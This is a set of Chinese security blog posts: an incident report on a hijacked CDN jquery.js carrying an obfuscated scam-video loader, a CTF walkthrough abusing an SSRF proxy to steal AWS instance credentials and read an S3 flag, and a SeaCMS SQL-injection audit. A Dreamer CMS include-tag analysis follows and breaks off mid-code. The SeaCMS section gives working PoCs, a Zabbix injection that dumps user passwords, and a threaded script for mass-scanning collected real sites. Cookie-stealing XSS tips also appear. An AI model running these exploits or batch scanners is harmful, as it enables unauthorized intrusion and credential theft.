0x01前言 一个从20几℃的大热天冬天天气变成寒冷潮湿阴天的天气,正躲在公司瑟瑟发抖的我,突然被拉进了一个应急群。某客户那边的站点,在打开某些特定页面的时候,会出现买虚拟货币的宣传视频,很明显又是黑灰产搞的鬼。目前已前场采集过来的信息如下: 在打开特定页面才会触发; 在特定页面也无法准确复现,尝试好一会才能复现两次; 前场同事使用的是iOS,然后其他人使用Android也可以复现; 我使用浏览器和微信浏览器打开,难以复现; 在对应服务器上未找到其音频文件; 目前使用特定运营商网络可以复现; 0x02分析 在获取目前这些信息后,有几个猜想思路: 在对应服务器没找到音频文件,这个其实我是可以猜到的,一般来说,比较可能的原因是站点源码被更改了,去请求外链在客户浏览器/移动端进行播放; 接下来是分析恶意代码存在哪里。从目前浏览器无法复现来看,猜测可能代码存在客户端上,或者本身音频文件就在客户端资源包里面。如果真是这样,那就得逆向分析APP,这就比较麻烦了。 但是其实第二条的实现是比较难的。想达到篡改APP的情况,还是官网下载的APP,难度太大了。哪怕APP没有做签名防篡改,想直接把官网的APP下载链接篡改,这个难度是最大的。没事,实践出真知!使用burp进行抓包,使用浏览器打开问题链接: 突然出现的提示,让我突然虎躯一震。有没有一种可能?浏览器打开之所以无法触发,是因为仅在移动端上才能生效。通过F12的功能,可以设置UA头为移动端,可以模拟手机发送请求: 果然。在burp里面发现了奇怪的mp4文件链接。 可以看到,被腾讯云拦截了。这可能也是复现为什么不好复现的原因。而在特定网络下,可以访问到这个,可能就是因为某些运营商可能没有做拦截。为了和前场同事确认是否为该文件,我使用了点技术手段,获取到此视频文件,发送给他。经确认,可以判断,即为该文件导致的。 那么接下来就是分析js的调用关系,查看怎么通过客户站点到该站点的。 0x03溯源 由于该请求的referer头是本身,那我们难以找到是哪个页面请求的。只能通过搜索查看: 成功在www.unionxxxx.com里面发现了该链接请求,且里面包含很多huobi的黑产链接。进一步分析链接是怎么请求来。后续在www.unionxxxx.com/ddd.html里面找到恶意链接。 那现在最后的问题就是找到www.unionxxxx.com/ddd.html与客户站点的调用关系。这也是最难的一步。为什么呢?因为不管是通过referer自动还是全局搜,都找不到www.unionxxxx.com/ddd.html链接。搜索unionxxxx字段,也没有找到其他链接。 最后实在没办法了,只能通过抓包,一步一步查看请求顺序。最后终于发现疑似链接:https://cdn.xxxxcdn.net/ajax/libs/jquery/3.6.0/jquery.js。分析该jquery文件,并未发现存在问题的代码,但是当我翻到最后面时,发现了问题: 图片红框部分,明显与众不同。事出反常必有妖!混淆加密的太离谱了,可读性实在是太差了。但是看着看着,好像发现了熟悉的东西。 这不就是那个恶意链接吗?当然这只是猜想,最后看下能不能得解开这些加密。试了网上的好多个js解密,没一个能用的。但是又在js里面看到了一个链接: 访问jsjiami.com,尝试解密: 结果不可逆!!! 后续没办法了,只能找new bing大哥帮我看看。结果,柳暗花明又一村啊! 虽然只有部分,但是够了。这样就能把所有调用关系联系起来了。 0x04结尾 该恶意链接可能是cdn站点被劫持了导致的。而这cdn链接,很多公司,乃至很多开发框架,都是使用的该链接,影响范围之大,难以想象。本来想把这个情报反馈给当地网安处理,但是在此文章写完之时,才发现,该链接已经恢复正常了,后面的加密js代码已被剔除。
wiz2025 挑战赛从 SpringActuator 泄露到 s3 敏感文件获取全解析
背景 经过几周的利用和权限提升,你获得了访问你希望是最终服务器的权限,然后可以使用它从 S3 存储桶中提取秘密旗帜。 但这不会容易。目标使用 AWS 数据边界来限制对存储桶内容的访问。 `You've discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com {"status":"UP"} 解决过程 Spring Boot Actuator 泄露 首先我们分析一下,flag 肯定是在存储桶中,因为这里说了已经对我们的桶进行了限制,所以匿名访问的方法可能没有作用,不过这里还是尝试一下,首先匿名访问需要获取存储桶的名称,因为题目已经告诉了 Spring Boot Actuator明显我们可以查看 env 尝试列出 user@monthly-challenge:~$ aws s3 ls s3://challenge01-470f711/ --no-sign-request An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied 不行,没有权限,所以我们必须去寻找凭证 我第一想法就是元数据 但是没有反应 curl http://169.254.169.254/latest/meta-data 估计这个 shell 不是一个 EC2 的 然后就是寻找凭据了,可以使用一些工具,比如 truffleHog 然后简单找了一下 user@monthly-challenge:/$ grep -ri --exclude-dir={/proc,/sys,/dev,/run,/snap,/var/lib/dock er} 'Secret Access Key' / /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json:          "documentation":"<p>The secret access key of a connection.</p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json:          "documentation":"<p>The secret access key of the environment credentials.</p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3control/2018-08-20/service-2.json:          "documentation":"<p>The secret access key of the Amazon Web Services STS temporary credential that S3 Access Grants vends to grantees and client applications. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json:          "documentation":"<p> The Secret Access Key portion of the credentials. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json:          "documentation":"<p> The Secret Access Key portion of the credentials. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/opsworks/2013-02-18/service-2.json:          "documentation":"<p>When included in a request, the parameter depends on the repository type.</p> <ul> <li> <p>For Amazon S3 bundles, set <code>Password</code> to the appropriate IAM secret access ke /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3/2006-03-01/service-2.json:      "documentation":"<p>Creates a copy of an object that is already stored in Amazon S3.</p> <note> <p>You can store individual objects of up to 5 TB in Amazon S3. You create a copy of your object up to 5 GB in si 找了也没有,常规的收集都没有发现,然后只能根据提示,继续在 spring 这个面努力了 然后去批量爆破一波查看是否有可利用的信息 然后又把 mapping 中的路由全部提取出来,看到了 proxy 路由 这个应该就是拿来访问元数据的了 元数据绕过 一般都有 ssrf 漏洞 user@monthly-challenge:/$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/ HTTP error: 401 Unauthorized 可以看到至少是可以成功访问元数据了,只不过没有权限,因为之后采用了 IMDSv2 我们首先获取 token,使用 PUT 请求 user@monthly-challenge:/$ curl -X PUT \  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \  "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q== 可以看到获取到了 Token,我们尝试使用 token 来访问元数据 user@monthly-challenge:/$ curl -H "X-aws: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/" ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hibernation/ hostname iam/ identity-credentials/ instance-action instance-id instance-life-cycle instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/ system 可以了,我们访问凭证信息 user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" \ "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" challenge01-5592368 然后使用它的凭证 user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368" {  "Code" : "Success",  "LastUpdated" : "2025-07-10T13:26:52Z",  "Type" : "AWS-HMAC",  "AccessKeyId" : "ASIARK***WELX36",  "SecretAccessKey" : "PsrjWr+AANNHBG3n***NmUHVglRE+BV",  "Token" : "IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbcKaJ86Qx1issOwp+JUdXyIUaYjLrJhd+klRXKoSNxR/K/F  "Expiration" : "2025-07-10T19:47:29Z" } 有了这些我们就可以配置了首先我们进行配置 root@hcss-ecs-0d0e:~# aws configure set aws_access_key_id ASIARK7LBO**EXWELX36 --profile challenge01 root@hcss-ecs-0d0e:~# aws configure set aws_secret_access_key PsrjWr+AANNHBG3ngmwQXdCdc******mUHVglRE+BV --profile challenge01 root@hcss-ecs-0d0e:~# aws configure set aws_session_token IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbc 之后我们就会有这个用户的权限了 目标文件位置获取 我们首先查一下这个用户有的 bucket 的权限 首先获取当前用户信息 root@hcss-ecs-0d0e:~# aws sts get-caller-identity --profile challenge01 {    "UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",    "Account": "092297851374",    "Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279" } 然后我们查看对应的策略 root@hcss-ecs-0d0e:~# aws iam simulate-principal-policy \  --policy-source-arn arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 \  --action-names s3:ListBucket s3:GetObject s3:PutObject s3:DeleteObject s3:ListAllMyBuckets \  --profile challenge01 An error occurred (AccessDenied) when calling the SimulatePrincipalPolicy operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: iam:SimulatePrincipalPolicy on resource: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/ root@hcss-ecs-0d0e:~# 可惜这个用户没有权限,我们直接列 root@hcss-ecs-0d0e:~# aws s3 ls --profile challenge01 An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action 没有列出桶的权限,不过我们知道桶的名称 root@hcss-ecs-0d0e:~# aws s3 ls s3://challenge01-470f711/ --recursive --profile challenge01 2025-06-19 01:15:24         29 hello.txt 2025-06-17 06:01:49         51 private/flag.txt 读取文件绕过 尝试读取的时候可惜 root@hcss-ecs-0d0e:~# aws s3 cp s3://challenge01-470f711/private/flag.txt - --profile challenge01 download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden 没有读的权限 我们还是得查查存储桶的策略 root@hcss-ecs-0d0e:~# aws s3api get-bucket-policy --bucket challenge01-470f711 --profile challenge01 {    "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Deny\",\"Principal\":\"*\",\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::challenge01-470f711/private/*\",\"Condition\":{\"StringNotEquals\":{\"aws:SourceVpce\":\"vpce-0dfd8b6aa1642a057\"}}}]}" } 限制只有指定 VPC 端点(VPCe) 的请求才可以访问,否则即使有权限也会被拒绝 怎么办呢 聪明的 GPT 给出了答案 也让我想起了 proxy root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://s3.amazon aws.com/challenge01-470f711/private/flag.txt" HTTP error: 403 Forbiddenroot 但是结果是还是被阻止了 这里可能 proxy 不在 VPC,不过我们可以验证一下 但是刚刚都读取成功了,大概率是在的 没办法,只能寻找好朋友的帮助了 首先需要了解一下 SigV4 签名,在 AWS 中访问私有资源(如 S3 对象)时,AWS 要求你的请求是已签名的 参考https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html 默认情况下,所有 Amazon S3 对象都是私有的,只有对象拥有者才具有访问它们的权限。但是,对象拥有者可以通过创建预签名 URL 与其他人共享对象。预签名 URL 使用安全凭证来授予下载对象的限时权限。可以在浏览器中输入此 URL,或者程序使用此 URL 来下载对象。预签名 URL 使用的凭证是生成该 URL 的 AWS 用户的凭证。 我们需要使用预签名 https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/using-presigned-url.html创建预签名 URL 时,必须提供您的安全凭证,然后指定以下内容: 一个 Amazon S3 存储桶 对象键(如果将在您的 Amazon S3 存储桶中下载此对象,则一旦上传,这就是要上传的文件名) HTTP 方法(GET 用于下载对象、PUT 用于上传、HEAD 用于读取对象元数据等) 过期时间间隔 按照这个我们直接运行命令生成如下的签名 root@hcss-ecs-0d0e:~# aws s3 presign s3://challenge01-470f711/private/flag.txt --profile challenge01 --expires-in 3600 https://challenge01-470f711.s3.amazonaws.com/private/flag.txt?AWSAccessKeyId=ASIARK7LBOHXEXWELX36&Signature=WT7zPvNKLF6zr%2Fi4%2FGvqpJHoZzs%3D&x-amz-security-token=IQoJb3JpZ2luX2VjELb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIC6AH%2B4pBi%2BUXSj7Xih2aQvR3LmiwIQ8TeL%2BO6Gv2iotAiEAi6CjgMDpky 然后我们带着这个签名 但是内容一直被截断,很烦,我直接 URL 全编码后再次去访问 root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=%68%74%74%70%73%3a%2f%2f%63%68%61%6c%6c%65%6e%67%65%30%31%2d%34%37%30%66%37%31%31%2e%73%33%2e%61%6d%61%7a%6f%6e%61%77%73%2e%63%6f%6d%2f%70%72%69%76%61%74%65%2f%66%6c%61%67%2e%74%78%74%3f%41%57%53%41%63%63% The flag is: ******** 成功 总结 总的来说,真的是很有实战意义的一次挑战,感觉整个过程前因后果是非常连贯的 获取桶名称-> 不能匿名访问->获取配置信息- 元数据 不能直接访问-走代理 mapping 泄露 proxy 元数据绕过 IMDSv2 安全机制 获取用户信息,查看权限 列取文件位置 vpc 限制,来联想 proxy 403,考虑预签名 URL 授予 行云流水
浅谈代码审计+漏洞批量一把梭哈思路
前言 最近在学习 SRC 的挖掘,常规的 SRC 挖掘就是信息泄露,什么逻辑漏洞什么的,什么越权漏洞,但是说实话,挖掘起来不仅需要很多时间,而且还需要很多经验,当然其实还有一种挖掘的办法,就是利用刚出的 1day 去批量扫描,如果自己会代码审计的话,就再好不过了,下面给大家分享分享整个过程是怎么样的。 工具介绍 项目地址 https://github.com/W01fh4cker/Serein【懒人神器】一款图形化、批量采集 url、批量对采集的 url 进行各种 nday 检测的工具。可用于 src 挖掘、cnvd 挖掘、0day 利用、打造自己的武器库等场景。可以批量利用 Actively Exploited Atlassian Confluence 0Day CVE-2022-26134 和 DedeCMS v5.7.87 SQL 注入 CVE-2022-23337。 具体使用方法下面会介绍 漏洞样本 本次选取的是一个前些天看到的 seacms 的一个 sql 注入,当时也是自己也审计了一波的 这里给出审计的过程 /js/player/dmplayer/dmku/index.php 未授权 sql 注入 这个相比于上一个来说是危害更大,因为不需要登录 admin 用户 确实是 sleep 了,说明漏洞存在,我们看到代码 if ($_GET['ac'] == "edit") {    $cid = $_POST['cid'] ?: showmessage(-1, null);    $data = $d->编辑弹幕($cid) ?:  succeedmsg(0, '完成');    exit; } 我们跟进编辑弹幕方法 一路来到 public static function 编辑_弹幕($cid)   {        try {            global $_config;            $text = $_POST['text'];            $color = $_POST['color'];            $conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);                        $sql = "UPDATE sea_danmaku_list SET text='$text',color='$color' WHERE cid=$cid";            $result = "UPDATE sea_danmaku_report SET text='$text',color='$color' WHERE cid=$cid";            $conn->query($sql);            $conn->query($result);       } catch (PDOException $e) {            showmessage(-1, '数据库错误:' . $e->getMessage());       }   } 这里我们可以看到查询又是使用的原生的 query 方法,所以并没有过滤 所以导致 sql 注入 还有我们看到当 ac=del,type=list 的时候 else if ($_GET['ac'] == "del") {        $id = $_GET['id'] ?: succeedmsg(-1, null);        $type = $_GET['type'] ?: succeedmsg(-1, null);        $data = $d->删除弹幕($id) ?: succeedmsg(0, []);        succeedmsg(23, true); 进入删除弹幕($id) public function 删除弹幕($id)   {        //sql::插入_弹幕($data);        sql::删除_弹幕数据($id);   } 进入 sql::删除_弹幕数据($id); public static function 删除_弹幕数据($id)   {        try {            global $_config;            $conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);            $conn->set_charset('utf8');            if ($_GET['type'] == "list") {                $sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";                $result = "DELETE FROM sea_danmaku_list WHERE cid={$id}";                $conn->query($sql);                $conn->query($result);           } else if ($_GET['type'] == "report") {                $sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";                $conn->query($sql);           }       } catch (PDOException $e) {            showmessage(-1, '数据库错误:' . $e->getMessage());       }   } 我们的 id 是可以控制的,type 也是可以控制的,而且没有任何的过滤,当 type=list 的时候,直接放进 query 函数进行查询 漏洞验证 POC GET /js/player/dmplayer/dmku/index.php?ac=del&id=(select(1)from(select(sleep(6)))x)&type=list HTTP/1.1 Host: seacms:8181 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://seacms:8181/js/player/dmplayer/dmku/index.php?ac=del&id=(select(1)from(select(sleep(0)))x)&type=list Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=5dl35hp50uj606p52se8kg91a2; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; XDEBUG_SESSION=PHPSTORM Connection: keep-alive 效果如图,可以发现确实延迟了 6 秒 工具利用过程 首先就是看工具的逻辑是如何添加漏洞的 首先看主文件 代码很长,说一下我们需要注意的点,首先就是配置,对于的 fofa 配置如下 需要你进入工具的时候配置邮箱和 key def fofa_saveit_first():    email = fofa_text1.get()    key = fofa_text2.get()    with open("fofa配置.conf","a+") as f:        f.write(f"[data]\nemail={email}\nkey={key}")        f.close()    showinfo("保存成功!","请继续使用fofa搜索模块!下一次将自动读取,不再需要配置!")    text3.insert(END,f"【+】保存成功!请继续使用fofa搜索模块!下一次将会自动读取,不再需要配置!您的email是:{email};为保护您的隐私,api-key不会显示。\n")    text3.see(END)    fofa_info.destroy() def fofa_saveit_twice():    global email_r,key_r    if not os.path.exists("fofa配置.conf"):        fofa_saveit_first()    else:        email_r = getFofaConfig("data", "email")        key_r = getFofaConfig("data", "key") def fofa_info():    global fofa_info,fofa_text1,fofa_text2,fofa_text3    fofa_info = tk.Tk()    fofa_info.title("fofa配置")    fofa_info.geometry('230x100')    fofa_info.resizable(0, 0)    fofa_info.iconbitmap('logo.ico')    fofa_email = tk.StringVar(fofa_info,value="填注册fofa的email")    fofa_text1 = ttk.Entry(fofa_info, bootstyle="success", width=30, textvariable=fofa_email)    fofa_text1.grid(row=0, column=1, padx=5, pady=5)    fofa_key = tk.StringVar(fofa_info,value="填email对应的key")    fofa_text2 = ttk.Entry(fofa_info, bootstyle="success", width=30, textvariable=fofa_key)    fofa_text2.grid(row=1, column=1, padx=5, pady=5)    button1 = ttk.Button(fofa_info, text="点击保存", command=fofa_saveit_twice, width=30, bootstyle="info")    button1.grid(row=2, column=1, padx=5, pady=5)    fofa_info.mainloop() 使用 fofa 的处理流程 后续是通过 fofa 的 api 进行查询的,所以需要你的 api,只有 vip 才有这个功能 然后下面是脚本调用逻辑 因为一个漏洞是需要你自己写一个 python 脚本的 然后加入你自己自定义的漏洞是在 这个逻辑应该很好理解,比如我的就是 button50 = ttk.Button(group3,text="seacms前台sql注入",command=sql_injection_gui,width=45,bootstyle="primary") button50.grid(row=15,column=2,columnspan=2,padx=5,pady=5) 然后就是写对应的利用脚本了 因为我们写的脚本是需要贴合工具的,所以先随便找一个脚本看看大概的架构是怎么样的 工具自带了许许多多的利用脚本,我们看一下如何仿写 比如 zabbix_sql.py import requests import tkinter as tk from tkinter import scrolledtext from concurrent.futures import ThreadPoolExecutor from ttkbootstrap.constants import * """ Zabbix ‘popup.php’SQL注入漏洞 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201112-017 Zabbix的popup.php中存在SQL注入漏洞。远程攻击者可借助only_hostid参数执行任意SQL命令。 """ def zabbix_sql_exp(url):    poc = r"""popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23"""    target_url = url + poc    status_str = ['Administrator', 'User']    try:        res = requests.get(url, Verify=False,timeout=3)        if res.status_code == 200:            target_url_payload = f"{target_url}"            res = requests.get(url=target_url_payload,Verify=False)            if res.status_code == 200:                for i in range(len(status_str)):                    if status_str[i] in res.text:                        zabbix_sql.insert(END,"【*】存在漏洞的url:" + url + "\n")                        zabbix_sql.see(END)                        with open ("存在Zabbix—SQL注入漏洞的url.txt", 'a') as f:                            f.write(url + "\n")            else:                target_url = url + '/zabbix/' + poc                res = requests.get(url=target_url,verify=False)                for i in range(len(status_str)):                    if status_str[i] in res.text:                        zabbix_sql.insert(END, "【*】存在漏洞的url:" + url + "\n")                        zabbix_sql.see(END)                        with open("存在Zabbix—SQL注入漏洞的url.txt", 'a') as f:                            f.write(url + "\n")        else:            zabbix_sql.insert(END, "【×】不存在漏洞的url:" + url + "\n")            zabbix_sql.see(END)    except Exception as err:        zabbix_sql.insert(END, "【×】目标请求失败,报错内容:" + str(err) + "\n")        zabbix_sql.see(END) def get_zabbix_addr():    with open("url.txt","r") as f:        for address in f.readlines():            address = address.strip()            yield address def zabbix_sql_gui():    zabbix_sql_poc = tk.Tk()    zabbix_sql_poc.geometry("910x450")    zabbix_sql_poc.title("Zabbix—SQL注入 漏洞一把梭")    zabbix_sql_poc.resizable(0, 0)    zabbix_sql_poc.iconbitmap('logo.ico')    global zabbix_sql    zabbix_sql = scrolledtext.ScrolledText(zabbix_sql_poc,width=123, height=25)    zabbix_sql.grid(row=0, column=0, padx=10, pady=10)    zabbix_sql.see(END)    addrs = get_zabbix_addr()    max_thread_num = 30    executor = ThreadPoolExecutor(max_workers=max_thread_num)    for addr in addrs:        future = executor.submit(zabbix_sql_exp, addr)    zabbix_sql_poc.mainloop() 大概的架构就是访问地址,发送 paylaod,然后对应利用成功和失败的特征进行鉴定,然后就是最后的 gui 模块 因此我们可以对应的写出一个脚本,我按照我的漏洞写出的脚本如下 import requests import time import tkinter as tk from tkinter import scrolledtext from concurrent.futures import ThreadPoolExecutor from ttkbootstrap.constants import * # 执行SQL注入检测的函数 def sql_injection_exp(url):    target = url + "/js/player/dmplayer/dmku/index.php?ac=edit"    data = {        "cid": "(select(1)from(select(sleep(6)))x)",        "text": "1",        "color": "1"   }    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",        "Content-Type": "application/x-www-form-urlencoded"   }    start_time = time.time()    try:        response = requests.post(target, data=data, headers=headers, timeout=10)        elapsed_time = time.time() - start_time        if elapsed_time > 5:            output_text.insert(END, f"【*】找到SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\n")            output_text.see(END)            with open("找到sql注入的url.txt", 'a') as f:                f.write(url + "\n")        else:            output_text.insert(END, f"【×】没有SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\n")            output_text.see(END)    except requests.exceptions.RequestException as err:        output_text.insert(END, f"【×】目标请求失败:{target},错误内容:{err}\n")        output_text.see(END) # 获取URL地址的生成器 def get_urls():    with open('url.txt', 'r') as file:        for line in file.readlines():            yield line.strip() # GUI界面 def sql_injection_gui():    root = tk.Tk()    root.geometry("910x450")    root.title("seacms前台sql注入")    root.resizable(0, 0)    global output_text    output_text = scrolledtext.ScrolledText(root, width=123, height=25)    output_text.grid(row=0, column=0, padx=10, pady=10)    urls = get_urls()    max_threads = 30  # 并发线程数    executor = ThreadPoolExecutor(max_workers=max_threads)    for url in urls:        future = executor.submit(sql_injection_exp, url)    root.mainloop() 然后添加好模块 可以看见是添加成功了的 实战演示 首先就是搜集 url 了,配置好了之后只需要 因为我没有 fofa 的会员,这里使用自己搜集的 url,放在一个文件里面的,如果有的话就不需要我这样操作了 然后来到你需要利用的板块 利用的效果 然后我们可以随便找个网址验证一下 进入网址效果如下,说明网址还在正常使用的 然后测试漏洞 可以看见漏洞是存在的 然后就是查权重了 这个可以一把梭哈的
精准定位文件包含漏洞:代码审计中的实战思维
前言 最近看到由有分析梦想 CMS 的,然后也去搭建了一个环境看了一看,发现了一个文件包含漏洞的点,很有意思,下面是详细的复现和分析,以后代码审计又多了一中挖掘文件包含漏洞的新思路。 环境搭建 下载https://gitee.com/iteachyou/dreamer_cms 然后各种配置都可以看到 JDK:Jdk8IDE:Spring Tool Suite 4(STS)或 IntelliJ IDEA DB:Mysql 5.7,Windows配置安装Mysql5.7,请参考: https://www.iteachyou.cc/article/a1db138b4a89402ab50f3499edeb30c2Redis:3.2+,Windows配置安装Redis教程,请参考: https://www.iteachyou.cc/article/4b0a638f65fa4fb1b9644cf461dba602修改一下配置文件中的 resource-path 和 mysql 的连接 漏洞寻找过程 进入后台后发现可以编辑模板文件 然后这时候我们就需要注意常见的可以触发漏洞的点了 首先就是 xss 加入我们的 xss 代码 然后访问首页 成功 xss,当然我们真实使用的话可以利用我们的 xss 平台 这里推荐与一个 https://xssaq.com/点击配置代码后会有很多 payload,随便复制一个 这里我们简单弹个 cookie xss 的话还是国外使用比较多 当然这样并不能达到我们 getshell 的目的 漏洞深入利用 这里就不得不提到我们的一些标签了 一般常见的我们可以尝试 include 标签 这里我们先复现一下 这个标签是 cms 的专属的标签 然后我们根据目录关系创建一个文件尝试一下 然后我们访问首页 可以看到成功了 调试分析 我们调试分析一下,抓个包看看路由 定位到代码 @Log(operType = OperatorType.UPDATE, module = "模板管理", content = "修改模板") @PostMapping("save") @RequiresPermissions("5n6ta53y") public String save(TemplateVo template) throws IOException, CmsException { String fileName = template.getPath() + File.separator + template.getFile(); File templateFile = new File(fileName); /** * 查询当前模版目录,判断是否为模版目录,如不是,则报错 */ Theme currentTheme = themeService.getCurrentTheme(); String resourceDir = fileConfiguration.getResourceDir(); String themePath = resourceDir + File.separator + "templates" + File.separator + currentTheme.getThemePath() + File.separator; themePath = themePath.replaceAll("\\*", "/"); File themeDir = new File(themePath); // 检查当前编辑文件是否有权限 if(!templateFile.getCanonicalPath().startsWith(themeDir.getCanonicalPath())) { throw new TemplatePermissionDeniedException(StateCodeEnum.HTTP_FORBIDDEN.getCode(), StateCodeEnum.HTTP_FORBIDDEN.getDescription(), "您没有操作权限!"); } if(!templateFile.exists()) { throw new TemplateNotFoundException(StateCodeEnum.HTTP_NOTFOUND.getCode(), StateCodeEnum.HTTP_NOTFOUND.getDescription(), "模板文件不存在!"); } String filePath = template.getPath() + File.separator + template.getFile(); filePath = filePath.replaceAll("\\*", "/"); File file = new File(filePath); FileUtils.writeStringToFile(file, template.getContent(), "UTF-8"); return "redirect:/admin/templates/toIndex"; } 这里就是就简单的写一下模板,然后重点关注解析的部分 这里有各种各样的标签 看到我们的 Include 标签 @Tag(beginTag="{dreamer-cms:include /}",endTag="{/dreamer-cms:include}",regexp="(\\{dreamer-cms:include[ \\t]+.*/\\})|(\\{dreamer-cms:include[ \\t]+.*\\}\\{/dreamer-cms:include\\})", attributes={ @Attribute(name = "file",regex = "[ \t]+file=[\"\'].*?[\"\']"), }) 格式 我们看一下解析过程 首先是解析我们的模板 识别我们的模板内容后开始解析各种标签,然后是我们的 include public String parse(String html) { Tag annotations = IncludeTag.class.getAnnotation(Tag.class); Attribute[] attributes = annotations.attributes(); List<String> all = RegexUtil.parseAll(html, annotations.regexp(), 0); if(StringUtil.isBlank(all)) { return html; } String newHtml = html; String resourceDir = fileConfiguration.getResourceDir() + "templates/"; Theme currentTheme = themeService.getCurrentTheme(); String templatePath = currentTheme.getThemePath() + "/"; String basePath = resourceDir + templatePath; for (int i = 0; i < all.size(); i++) { Map<String,Object> entity = new HashMap<String,Object>(); String includeTag = all.get(i); for (Attribute attribute : attributes) { String condition = RegexUtil.parseFirst(includeTag, attribute.regex(), 0); if(StringUtil.isBlank(condition)) { continue; } String key = condition.split("=")[0]; String value = condition.split("=")[1]; key = key.trim(); value = value.replace("\"", "").replace("\'", ""); entity.put(key, value); } 